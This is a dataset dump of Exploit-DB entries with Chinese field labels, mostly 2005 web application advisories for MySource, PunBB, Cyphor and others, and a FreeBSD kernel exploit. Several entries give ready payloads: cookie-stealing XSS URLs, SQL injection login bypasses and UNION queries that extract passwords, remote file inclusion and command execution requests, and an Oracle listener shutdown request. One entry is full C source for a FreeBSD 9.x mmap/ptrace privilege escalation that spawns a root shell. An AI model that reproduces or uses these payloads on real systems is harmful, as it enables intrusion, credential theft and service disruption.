QLWD/code_shield huggingface dataset:
标题: MySource 2.14 - 'edit_table_props.php?bgcolor' Cross-Site Scripting EDB-ID: 26360 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
     
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_props.php?bgcolor=</style>[code] URL: https://www.exploit-db.com/exploits/26360
标题: MySource 2.14 - 'init_mysource.php?INCLUDE_PATH' Remote File Inclusion EDB-ID: 26363 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
 
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/web/init_mysource.php?INCLUDE_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26363
标题: MySource 2.14 - 'Date.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26370 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
     
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Date/Date.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26370
标题: MySource 2.14 - 'Socket.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26364 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
  
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Net_Socket/Socket.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26364
标题: MySource 2.14 - 'Request.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26365 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
   
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/HTTP_Request/Request.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26365
标题: MySource 2.14 - 'edit_table_cell_type_wysiwyg.php?Stylesheet' Cross-Site Scripting EDB-ID: 26361 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
      
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code] URL: https://www.exploit-db.com/exploits/26361
标题: MySource 2.14 - 'new_upgrade_functions.php' Multiple Remote File Inclusions EDB-ID: 26362 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info

MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://www.example.com/[file]?
http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26362
标题: FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation EDB-ID: 26368 CVE: 2013-2171 类型: LOCAL 平台: FREEBSD 发布日期: 2013-06-21 漏洞利用脚本: /*
 * FreeBSD 9.{0,1} mmap/ptrace exploit
 * by Hunger <fbsd9lul@hunger.hu>
 *
 * Happy Birthday FreeBSD!
 * Now you are 20 years old and your security is the same as 20 years ago... :)
 *
 * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,
 *              sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:
 *                      I hope we'll meet again at 8@1470n ;)
 *
 * Special thanks to proactivesec.com
 *
 */

#include <err.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

#define SH "/bin/sh"
#define TG "/usr/sbin/timedc"

int
main(int ac, char **av) {
   int from_fd, to_fd, status;
   struct stat st;
   struct ptrace_io_desc piod;
   char *s, *d;
   pid_t pid;

   if (geteuid() == 0)  {
        setuid(0);
        execl(SH, SH, NULL);
        return 0;
   }

   printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
   printf("by Hunger <fbsd9lul@hunger.hu>\n");

   if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
        (to_fd = open(TG, O_RDONLY)) == -1)
                err(1, "open");

   if (stat(av[0], &st) == -1)
        err(2, "stat");

   if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
        MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
                (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
                        MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
                                err(3, "mmap");

   if ((pid = fork()) == -1)
        err(4, "fork");

   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                err(5, "ptraceme");

        return 0;
        }

   if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
        err(6, "ptattach");

   if (wait(&status) == -1)
        err(7, "wait");

   piod.piod_op = PIOD_WRITE_D;
   piod.piod_offs = d;
   piod.piod_addr = s;
   piod.piod_len  = st.st_size;

   if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
        err(8, "ptio");

   execl(TG, TG, NULL);

   return 0;
} URL: https://www.exploit-db.com/exploits/26368
标题: MySource 2.14 - 'upgrade_in_progress_backend.php?target_url' Cross-Site Scripting EDB-ID: 26355 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info

MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/web/edit/upgrade_in_progress_backend.php?target_url=">[code] URL: https://www.exploit-db.com/exploits/26355
标题: MySource 2.14 - 'header.php?bgcolor' Cross-Site Scripting EDB-ID: 26358 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
   
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/header.php?bgcolor=</style>[code] URL: https://www.exploit-db.com/exploits/26358
标题: Complete PHP Counter - SQL Injection EDB-ID: 26348 CVE: 2005-4674 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15111/info

Complete PHP Counter is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[php-counter]/list.php?c='&s=' URL: https://www.exploit-db.com/exploits/26348
标题: PunBB 1.2.x - 'search.php' SQL Injection EDB-ID: 26350 CVE: 2005-3518 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15114/info

PunBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/search.php?action=search&keywords=&author=d3vilbox&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=Submit&old_searches[]=[sql-injection] URL: https://www.exploit-db.com/exploits/26350
标题: NetFlow Analyzer 4 - Cross-Site Scripting EDB-ID: 26354 CVE: 2005-3522 类型: WEBAPPS 平台: JSP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15127/info

NetFlow Analyzer 4 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<h1>test</h1>
http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<script>alert("test")</script>
http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26354
标题: MySource 2.14 - 'insert_table.php?bgcolor' Cross-Site Scripting EDB-ID: 26356 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
 
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/insert_table.php?bgcolor=</style>[code] URL: https://www.exploit-db.com/exploits/26356
标题: Complete PHP - Counter Cross-Site Scripting EDB-ID: 26349 CVE: 2005-4675 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15112/info

Complete PHP Counter is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[php-counter]/list.php?c='><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/26349
标题: Comersus Backoffice Plus - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26351 CVE: 2005-3285 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15118/info

BackOffice Plus is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/backOfficePlus/comersus_backoffice_searchItemForm.asp?forwardTo1=[XSS-CODE]comersus_backoffice_listAssignedCategories.asp&forwardTo2=[XSS-CODE]&nameFT1=[XSS-CODE]Select&nameFT2=[XSS-CODE] URL: https://www.exploit-db.com/exploits/26351
标题: MySource 2.14 - 'edit_table_cell_props.php?bgcolor' Cross-Site Scripting EDB-ID: 26357 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
  
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_props.php?bgcolor=</style>[code] URL: https://www.exploit-db.com/exploits/26357
标题: Accelerated Mortgage Manager - 'Password' SQL Injection EDB-ID: 26346 CVE: 2005-3290 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15097/info

Accelerated Mortgage Manager is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before passing it on to SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Username =admin
Password= ' or ''=' URL: https://www.exploit-db.com/exploits/26346
标题: WebGUI 6.x - Arbitrary Command Execution EDB-ID: 26344 CVE: 2005-4694 类型: WEBAPPS 平台: CGI 发布日期: 2005-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15083/info

WebGUI is prone to an arbitrary command execution vulnerability. This is due to insufficient sanitization of user-supplied data.

This issue can facilitate unauthorized remote access. 

http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60; URL: https://www.exploit-db.com/exploits/26344
标题: Linux Kernel 2.6 - Console Keymap Local Command Injection EDB-ID: 26353 CVE: 2005-3257 类型: LOCAL 平台: LINUX 发布日期: 2005-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15122/info

The Linux kernel is susceptible to a local command-injection vulnerability via console keymap modifications. This issue occurs because unprivileged users can alter the system-wide console keymap.

Local users may modify the console keymap to include scripted macro commands. This allows attackers to execute arbitrary commands with the privileges of the user that uses the console after them, potentially facilitating privilege escalation. 

loadkeys <<EOF
keycode 15 = F23
string F23 = "^V^C^V^Mecho hello world^V^M"
EOF URL: https://www.exploit-db.com/exploits/26353
标题: YaPiG 0.95b - 'view.php?img_size' Cross-Site Scripting EDB-ID: 26345 CVE: 2005-4799 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15092/info

Yapig is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

YaPig versions 0.95b and earlier are affected. 

http://www.example.com/path-to-yapig/view.php?gid=1&phid=1&img_size=><script>alert('hi')</script> URL: https://www.exploit-db.com/exploits/26345
标题: Microsoft Windows XP/2000/2003 - MSDTC TIP Denial of Service (MS05-051) EDB-ID: 26341 CVE: 2005-1979 类型: DOS 平台: WINDOWS 发布日期: 2005-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/15058/info

The Microsoft Windows MSDTC (Microsoft Distribution Transaction Coordinator) service is prone to a denial of service vulnerability.

The vulnerability exists in the TIP (Transaction Internet Protocol) functionality that is provided by MSDTC. This vulnerability may be exploited by a remote attacker to deny the availability of services that depend on MSDTC.

This issue only exists on operating systems that have support for the TIP protocol enabled. This vulnerability is remotely exploitable on default configurations on Windows 2000. TIP is not enabled by default on Windows XP and Windows Server 2003 even if the MSDTC service is running.

Update: Microsoft reports several systems have experienced one or more problems after installing the critical update from Microsoft Security Bulletin MS05-051 for this issue. For a more detailed explanation of these problems please see the attached microsoft knowledge base article 909444. 

IDENTIFY 3 3 DST_IP:DST_PORT/ANYID -
PUSH SOMESTRING
PREPARE
RECONNECT URL: https://www.exploit-db.com/exploits/26341
标题: RARLAB WinRar 2.90/3.x - UUE/XXE Invalid Filename Error Message Format String EDB-ID: 26342 CVE: 2005-3262 类型: DOS 平台: LINUX 发布日期: 2005-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/15062/info

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues. 

begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end URL: https://www.exploit-db.com/exploits/26342
标题: Cyphor 0.19 - 'newmsg.php?fid' SQL Injection EDB-ID: 26338 CVE: 2005-3236 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15047/info
 
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
 
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. 

http://www.example.com/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_pr\efix]users%20/* URL: https://www.exploit-db.com/exploits/26338
标题: Accelerated E Solutions - SQL Injection EDB-ID: 26343 CVE: 2005-4770 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/15077/info

Accelerated E Solutions is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
Username =admin
Password= ' or ''=' URL: https://www.exploit-db.com/exploits/26343
标题: Aenovo - '/Password/default.asp?Password' SQL Injection EDB-ID: 26333 CVE: 2005-3208 类型: WEBAPPS 平台: ASP 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15036/info

Aenovo, aeNovoShop and aeNovoWYSI are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

<html>
<h1>Aenovo Login-Bypass PoC - Kapda `s advisory </h1>
<p> Discovery and exploit by farhadkey [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/user/control.asp">
<input type="hidden" name="password" value="[SQL Injection]" >
<input type="submit" value="Submit" name="B1">
<input type="hidden" name="test" value="1">
</form></html> URL: https://www.exploit-db.com/exploits/26333
标题: Oracle 9.0 iSQL*Plus - TLS Listener Remote Denial of Service EDB-ID: 26331 CVE: 2005-3206 类型: DOS 平台: MULTIPLE 发布日期: 2005-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15032/info

Oracle iSQL*PLUS is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Database version 9.0.2.4; other versions may also be affected.

These issues was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, these issues are being assigned a separate BID. 

http://www.example.com:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon URL: https://www.exploit-db.com/exploits/26331
标题: Cyphor 0.19 - 'footer.php?t_login' Cross-Site Scripting EDB-ID: 26339 CVE: 2005-3237 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/15047/info
  
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
  
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. 

http://www.example.com/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26339